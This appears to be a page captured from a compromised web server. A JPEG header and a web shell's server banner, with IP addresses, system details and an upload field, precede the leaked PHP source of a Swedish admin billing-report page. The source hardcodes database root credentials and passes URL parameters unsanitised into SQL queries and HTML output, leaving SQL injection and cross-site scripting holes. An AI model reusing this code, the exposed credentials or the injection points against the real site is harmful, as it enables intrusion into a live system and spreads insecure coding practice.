????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.217.114 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/admin/ |
Upload File : |
<?php
$projectId = $_GET['projectId'];
?>
<link href="../main.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="calendar.js"></script>
<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<style type="text/css">
<!--
.style2 {font-size: 16}
.style4 {font-size: 16; font-family: Verdana, Arial, Helvetica, sans-serif; }
.style5 {font-family: Verdana, Arial, Helvetica, sans-serif}
-->
</style>
<body onLoad="showClockSWE()">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="90"> </td>
<td width="90%"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="5" valign="top"><span class="heading2">Rapport</span><br>
<hr width="820" size="1">
<span class="heading2">Avser perioden (
<?php
function lastday($month = '', $year = '') {
if (empty($month)) {
$month = date('m');
}
if (empty($year)) {
$year = date('Y');
}
$result = strtotime("{$year}-{$month}-01");
$result = strtotime('-1 second', strtotime('+1 month', $result));
return date('d', $result);
}
if($_GET['month'] == ""){
$month = 0;
}else{
$month = $_GET['month'];
}
$start = date("Y-m",strtotime("".$month." month"))."-01";
$end = date("Y-m",strtotime("".$month." month"))."-".lastday(date("m",strtotime("".$month." month")),date("Y"));
echo($start." - ".$end);
?>
): </span><span class="text"><a href="?page=report&month=<?php echo($_GET['month']-1);?>&customerid=<?php echo($_GET['customerid']);?>"><< Tidigare period</a> | <a href="?page=report&month=<?php echo($_GET['month']+1);?>&customerid=<?php echo($_GET['customerid']);?>">Senare period >> </a></span><span class="style6"><br>
</span>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="text">
<td width="82" height="14">Projekt Id </td>
<td width="242">Projektnamn</td>
<td width="62">Märkning</td>
<td width="96">Skapat </td>
<td width="153">Skapat av </td>
<td width="84">Leverans</td>
<td width="109">Förbrukad tid </td>
<td width="83">Extra tid</td>
<td width="77">Inlagt</td>
<td width="130">Invoice text</td>
</tr>
</table>
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$CompanyId = $_GET['customerid'];
$has100 = false;
$sql = "SELECT * FROM ICADAccount, ICADType WHERE ICADAccount.ICADTypeID = ICADType.ICADTypeId and CustomerID = $CompanyId";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
if($row['Hours'] == 8){ // 8 = 100%
$has100 = true;
}
}
$max_time = 0;
$sql = "SELECT * FROM ICADType where Type < 3;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$sql2 = "SELECT count(ICADTypeID) as Number, ICADTypeId, CustomerId, WorkDays, NextFlushDate FROM ICADAccount, ICADFlush where CustomerId = $CompanyId and ICADFlush.CompanyID = ICADAccount.CustomerId group by ICADTypeID ";
$result2 = mysql_query($sql2);
while ($row2 = mysql_fetch_assoc($result2)){
$daysleft = $row2['NextFlushDate'];
if($row2['ICADTypeId'] == $row['ICADTypeId']){
if($has100 == true){
$max_time += $row['Hours']*$row2['Number']*($row2['WorkDays']);
}else{
$max_time += $row['Hours']*$row2['Number']*($row2['WorkDays']*2);
}
}
}
}
$sql = "SELECT * FROM ((SELECT Project.ProjectId,Name,createDate,iCADSpecialCompanyID,clientProjectManagerName,scheduledDeliveryToCustomer,sum(Hours) as Hours,sum(AdditionalHours) as AdditionalHours, ICADTime.TimeDate, Project.invoiceText FROM Project, ProjectStatus, ICADTime WHERE ICADTime.ProjectId = Project.ProjectId and Project.ProjectStatusId = ProjectStatus.ProjectStatusId and Project.CompanyId = ".$_GET['customerid']." and ICADTime.TimeDate >= '".$start." 00:00:00' and ICADTime.TimeDate <= '".$end." 23:59:59' group by ICADTime.ProjectId)) as TMP group by ProjectId";
$result = mysql_query($sql);
$tot_time = 0;
while ($row = mysql_fetch_assoc($result)){
$projectid = $row['ProjectId'];
$name = $row['Name'];
$createdate =substr($row['createDate'],0,10);
$projectid = $row['ProjectId'];
$clientProjectManagerName = $row['clientProjectManagerName'];
$delivery = substr($row['scheduledDeliveryToCustomer'],0,10);
$time = $row['Hours'];
$tot_time += $time;
$addtionaltime = $row['AdditionalHours'];
$TimeDate = $row['TimeDate'];
$Invoice = $row['invoiceText'];;
$iCADSpecialCompanyID = $row['iCADSpecialCompanyID'];
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="textthin">
<td width="80"><?php echo($projectid);?></td>
<td width="245"><?php echo($name);?></td>
<td width="62"><a href="?page=project&projectId=<?php echo($row['ProjectId']);?>" class="blacklinkthin"><?php echo($iCADSpecialCompanyID);?></a></td>
<td width="94"><?php echo($createdate);?></td>
<td width="154"><?php echo($clientProjectManagerName);?></td>
<td width="82"><?php echo($delivery);?></td>
<td width="108"><?php echo($time);?></td>
<td width="85"><?php echo($addtionaltime);?></td>
<td width="77"><?php echo(substr($TimeDate,0,10));?></td>
<td width="131"><?php echo($Invoice);?></td>
</tr>
</table>
<?php
}
?>
<span class="style6">
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$CompanyId = $_GET['customerid'];
$has100 = false;
$sql = "SELECT * FROM ICADAccount, ICADType WHERE ICADAccount.ICADTypeID = ICADType.ICADTypeId and CustomerID = $CompanyId";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
if($row['Hours'] == 8){ // 8 = 100%
$has100 = true;
}
}
$max_time = 0;
$sql = "SELECT * FROM ICADType where Type < 3;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$sql2 = "SELECT count(ICADTypeID) as Number, ICADTypeId, CustomerId, WorkDays, NextFlushDate FROM ICADAccount, ICADFlush where CustomerId = $CompanyId and ICADFlush.CompanyID = ICADAccount.CustomerId group by ICADTypeID ";
$result2 = mysql_query($sql2);
while ($row2 = mysql_fetch_assoc($result2)){
$daysleft = $row2['NextFlushDate'];
if($row2['ICADTypeId'] == $row['ICADTypeId']){
if($has100 == true){
$max_time += $row['Hours']*$row2['Number']*($row2['WorkDays']);
}else{
$max_time += $row['Hours']*$row2['Number']*($row2['WorkDays']*2);
}
}
}
}
$sql = "SELECT * FROM ((SELECT Project.ProjectId,Name,createDate,iCADSpecialCompanyID,clientProjectManagerName,scheduledDeliveryToCustomer,sum(Hours) as Hours,sum(AdditionalHours) as AdditionalHours, ICADTimeHistory.TimeDate, Project.invoiceText FROM Project, ProjectStatus, ICADTimeHistory WHERE ICADTimeHistory.ProjectId = Project.ProjectId and Project.ProjectStatusId = ProjectStatus.ProjectStatusId and Project.CompanyId = ".$_GET['customerid']." and ICADTimeHistory.TimeDate >= '".$start." 00:00:00' and ICADTimeHistory.TimeDate <= '".$end." 23:59:59' group by ICADTimeHistory.ProjectId)) as TMP group by ProjectId";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$projectid = $row['ProjectId'];
$name = $row['Name'];
$createdate =substr($row['createDate'],0,10);
$projectid = $row['ProjectId'];
$clientProjectManagerName = $row['clientProjectManagerName'];
$delivery = substr($row['scheduledDeliveryToCustomer'],0,10);
$time = $row['Hours'];
$tot_time += $time;
$addtionaltime = $row['AdditionalHours'];
$TimeDate = $row['TimeDate'];
$Invoice = $row['invoiceText'];;
?>
</span>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="textthin">
<td width="80"><?php echo($projectid);?></td>
<td width="245"><?php echo($name);?></td>
<td width="62"><a href="?page=project&projectId=<?php echo($row['ProjectId']);?>" class="blacklinkthin"><?php echo($row['iCADSpecialCompanyID']);?></a></td>
<td width="95"><?php echo($createdate);?></td>
<td width="154"><?php echo($clientProjectManagerName);?></td>
<td width="82"><?php echo($delivery);?></td>
<td width="108"><?php echo($time);?></td>
<td width="85"><?php echo($addtionaltime);?></td>
<td width="77"><?php echo(substr($TimeDate,0,10));?></td>
<td width="130"><?php echo($Invoice);?></td>
</tr>
</table>
<?php
}
?>
<span class="style6"> </span><span class="style6"><br>
</span><span class="style6"> </span>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="text">
<td width="119"> </td>
<td width="294"> </td>
<td width="147"> </td>
<td width="102"> </td>
<td width="190"><?php echo($tot_time);?></td>
<td width="130">
<?php if ($max_time != 0){?>
<?php echo($tot_time);?> av <?php echo($max_time);?>h (<?php echo(Round(100*($tot_time/$max_time)));?>%)
<?php }?>
</td>
</tr>
</table>
<span class="style6"><span class="text">Kostnad SMS-notifieringar: </span>
<?php
$sql = "SELECT * FROM Project, ICADSMS, Company WHERE Project.ProjectId = ICADSMS.ProjectId and Company.CompanyId = Project.CompanyId and Company.CompanyId = $CompanyId and ICADSMS.TimeDate > '".$start." 00:00:00' and ICADSMS.TimeDate < '".$end." 00:00:00'";
$result = mysql_query($sql);
$x = 0;
while ($row = mysql_fetch_assoc($result)){
$x++;
}
echo($x*1.5." kr");
?>
</span><br>
<span class="style6"><span class="heading1"><a href="javascript:history.back(-1);"><img src="../images/Back-Arrow.jpg" width="37" height="36" border="0" align="absmiddle"></a> <a href="javascript:history.back(-1);" class="blacklinkhuge">Tillbaka</a></span><br>
</span>
<hr width="820" size="1">
<span class="style6"> </span></td>
</tr>
</table> </td>
<td width="90"> </td>
</tr>
<tr>
<td colspan="3"> </td>
</tr>
</table>